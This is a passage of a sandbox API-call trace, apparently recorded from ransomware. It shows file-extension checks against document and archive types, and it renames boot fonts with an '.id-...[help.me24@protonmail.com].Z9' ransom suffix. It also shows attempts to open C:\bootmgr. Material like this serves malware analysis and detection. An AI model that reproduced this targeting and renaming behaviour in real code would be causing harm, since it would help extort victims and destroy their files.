	[0188.729] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0188.729] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0188.729] lstrlenW (lpString="bootspaces.dll") returned 14
	[0188.729] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0188.730] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=95648) returned 1
	[0188.730] CloseHandle (hObject=0x330) returned 1
	[0188.730] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0188.731] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.731] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.731] lstrlenW (lpString=".doc") returned 4
	[0188.731] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.731] lstrlenW (lpString=".docx") returned 5
	[0188.731] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0188.731] lstrlenW (lpString=".pdf") returned 4
	[0188.731] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.731] lstrlenW (lpString=".xls") returned 4
	[0188.731] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.731] lstrlenW (lpString=".xlsx") returned 5
	[0188.731] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0188.731] lstrlenW (lpString=".ppt") returned 4
	[0188.731] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.731] lstrlenW (lpString=".zip") returned 4
	[0188.731] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.731] lstrlenW (lpString=".rar") returned 4
	[0188.731] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.731] lstrlenW (lpString=".bz2") returned 4
	[0188.731] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.731] lstrlenW (lpString=".7z") returned 3
	[0188.731] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.731] lstrlenW (lpString=".dbf") returned 4
	[0188.731] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.731] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.731] lstrlenW (lpString=".1cd") returned 4
	[0188.732] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.732] lstrlenW (lpString=".jpg") returned 4
	[0188.732] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.732] lstrlenW (lpString=".doc") returned 4
	[0188.732] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.732] lstrlenW (lpString=".docx") returned 5
	[0188.732] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0188.732] lstrlenW (lpString=".pdf") returned 4
	[0188.732] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.732] lstrlenW (lpString=".xls") returned 4
	[0188.732] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.732] lstrlenW (lpString=".xlsx") returned 5
	[0188.732] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0188.732] lstrlenW (lpString=".ppt") returned 4
	[0188.732] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.732] lstrlenW (lpString=".zip") returned 4
	[0188.732] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.732] lstrlenW (lpString=".rar") returned 4
	[0188.732] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.732] lstrlenW (lpString=".bz2") returned 4
	[0188.732] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.732] lstrlenW (lpString=".7z") returned 3
	[0188.732] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.732] lstrlenW (lpString=".dbf") returned 4
	[0188.732] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.732] lstrlenW (lpString=".1cd") returned 4
	[0188.732] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.732] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0188.733] lstrlenW (lpString=".jpg") returned 4
	[0188.733] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.733] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0188.733] lstrlenW (lpString="bootvhd.dll") returned 11
	[0188.733] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0188.733] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=99744) returned 1
	[0188.733] CloseHandle (hObject=0x330) returned 1
	[0188.733] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0188.733] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.733] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.733] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0188.733] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0188.733] lstrlenW (lpString=".doc") returned 4
	[0188.734] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.734] lstrlenW (lpString=".docx") returned 5
	[0188.734] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0188.734] lstrlenW (lpString=".pdf") returned 4
	[0188.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.734] lstrlenW (lpString=".xls") returned 4
	[0188.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.734] lstrlenW (lpString=".xlsx") returned 5
	[0188.734] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0188.734] lstrlenW (lpString=".ppt") returned 4
	[0188.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.734] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0188.734] lstrlenW (lpString=".zip") returned 4
	[0188.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.734] lstrlenW (lpString=".rar") returned 4
	[0188.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.734] lstrlenW (lpString=".bz2") returned 4
	[0188.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.734] lstrlenW (lpString=".7z") returned 3
	[0188.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.739] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0188.740] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0188.742] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0188.743] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0188.756] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0188.756] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.248] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.249] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=9728) returned 1
	[0189.249] CloseHandle (hObject=0x35c) returned 1
	[0189.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20
	[0189.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.249] lstrlenW (lpString=".doc") returned 4
	[0189.249] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.249] lstrlenW (lpString=".docx") returned 5
	[0189.249] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.249] lstrlenW (lpString=".pdf") returned 4
	[0189.249] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.249] lstrlenW (lpString=".xls") returned 4
	[0189.249] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.249] lstrlenW (lpString=".xlsx") returned 5
	[0189.249] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.249] lstrlenW (lpString=".ppt") returned 4
	[0189.249] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.249] lstrlenW (lpString=".zip") returned 4
	[0189.249] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.249] lstrlenW (lpString=".rar") returned 4
	[0189.249] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.250] lstrlenW (lpString=".bz2") returned 4
	[0189.250] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.250] lstrlenW (lpString=".7z") returned 3
	[0189.250] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.251] lstrlenW (lpString=".dbf") returned 4
	[0189.251] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.251] lstrlenW (lpString=".1cd") returned 4
	[0189.251] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.251] lstrlenW (lpString=".jpg") returned 4
	[0189.251] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.251] lstrlenW (lpString=".doc") returned 4
	[0189.251] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.251] lstrlenW (lpString=".docx") returned 5
	[0189.251] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.251] lstrlenW (lpString=".pdf") returned 4
	[0189.251] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.251] lstrlenW (lpString=".xls") returned 4
	[0189.251] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.251] lstrlenW (lpString=".xlsx") returned 5
	[0189.251] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.251] lstrlenW (lpString=".ppt") returned 4
	[0189.251] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.251] lstrlenW (lpString=".zip") returned 4
	[0189.251] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.251] lstrlenW (lpString=".rar") returned 4
	[0189.251] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.251] lstrlenW (lpString=".bz2") returned 4
	[0189.251] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.251] lstrlenW (lpString=".7z") returned 3
	[0189.251] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.251] lstrlenW (lpString=".dbf") returned 4
	[0189.251] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.251] lstrlenW (lpString=".1cd") returned 4
	[0189.252] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72
	[0189.252] lstrlenW (lpString=".jpg") returned 4
	[0189.252] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.252] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.252] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.253] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=10240) returned 1
	[0189.253] CloseHandle (hObject=0x35c) returned 1
	[0189.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20
	[0189.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.253] lstrlenW (lpString=".doc") returned 4
	[0189.253] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.253] lstrlenW (lpString=".docx") returned 5
	[0189.253] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.253] lstrlenW (lpString=".pdf") returned 4
	[0189.253] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.253] lstrlenW (lpString=".xls") returned 4
	[0189.253] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.253] lstrlenW (lpString=".xlsx") returned 5
	[0189.253] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.253] lstrlenW (lpString=".ppt") returned 4
	[0189.253] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.253] lstrlenW (lpString=".zip") returned 4
	[0189.253] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.253] lstrlenW (lpString=".rar") returned 4
	[0189.253] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.254] lstrlenW (lpString=".bz2") returned 4
	[0189.254] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.254] lstrlenW (lpString=".7z") returned 3
	[0189.254] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.254] lstrlenW (lpString=".dbf") returned 4
	[0189.254] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.254] lstrlenW (lpString=".1cd") returned 4
	[0189.254] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.254] lstrlenW (lpString=".jpg") returned 4
	[0189.254] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.254] lstrlenW (lpString=".doc") returned 4
	[0189.254] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.254] lstrlenW (lpString=".docx") returned 5
	[0189.254] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.254] lstrlenW (lpString=".pdf") returned 4
	[0189.254] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.254] lstrlenW (lpString=".xls") returned 4
	[0189.254] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.254] lstrlenW (lpString=".xlsx") returned 5
	[0189.254] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.254] lstrlenW (lpString=".ppt") returned 4
	[0189.254] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.254] lstrlenW (lpString=".zip") returned 4
	[0189.254] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.254] lstrlenW (lpString=".rar") returned 4
	[0189.254] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.254] lstrlenW (lpString=".bz2") returned 4
	[0189.254] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.254] lstrlenW (lpString=".7z") returned 3
	[0189.254] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.255] lstrlenW (lpString=".dbf") returned 4
	[0189.255] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.255] lstrlenW (lpString=".1cd") returned 4
	[0189.255] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72
	[0189.255] lstrlenW (lpString=".jpg") returned 4
	[0189.255] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.255] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.255] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.256] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=10240) returned 1
	[0189.256] CloseHandle (hObject=0x35c) returned 1
	[0189.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20
	[0189.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72
	[0189.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72
	[0189.256] lstrlenW (lpString=".doc") returned 4
	[0189.256] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.256] lstrlenW (lpString=".docx") returned 5
	[0189.256] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.256] lstrlenW (lpString=".pdf") returned 4
	[0189.256] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.256] lstrlenW (lpString=".xls") returned 4
	[0189.256] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.256] lstrlenW (lpString=".xlsx") returned 5
	[0189.256] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.256] lstrlenW (lpString=".ppt") returned 4
	[0189.256] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72
	[0189.256] lstrlenW (lpString=".zip") returned 4
	[0189.256] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.256] lstrlenW (lpString=".rar") returned 4
	[0189.256] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.256] lstrlenW (lpString=".bz2") returned 4
	[0189.256] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.256] lstrlenW (lpString=".7z") returned 3
	[0189.256] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72
	[0189.257] lstrlenW (lpString=".dbf") returned 4
	[0189.257] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72
	[0189.257] lstrlenW (lpString=".1cd") returned 4
	[0189.257] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72
	[0189.257] lstrlenW (lpString=".jpg") returned 4
	[0189.257] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0189.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72
	[0189.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72
	[0189.257] lstrlenW (lpString=".doc") returned 4
	[0189.257] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.257] lstrlenW (lpString=".docx") returned 5
	[0189.257] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.257] lstrlenW (lpString=".pdf") returned 4
	[0189.257] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.257] lstrlenW (lpString=".xls") returned 4
	[0189.257] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.257] lstrlenW (lpString=".xlsx") returned 5
	[0189.257] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.257] lstrlenW (lpString=".ppt") returned 4
	[0189.257] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
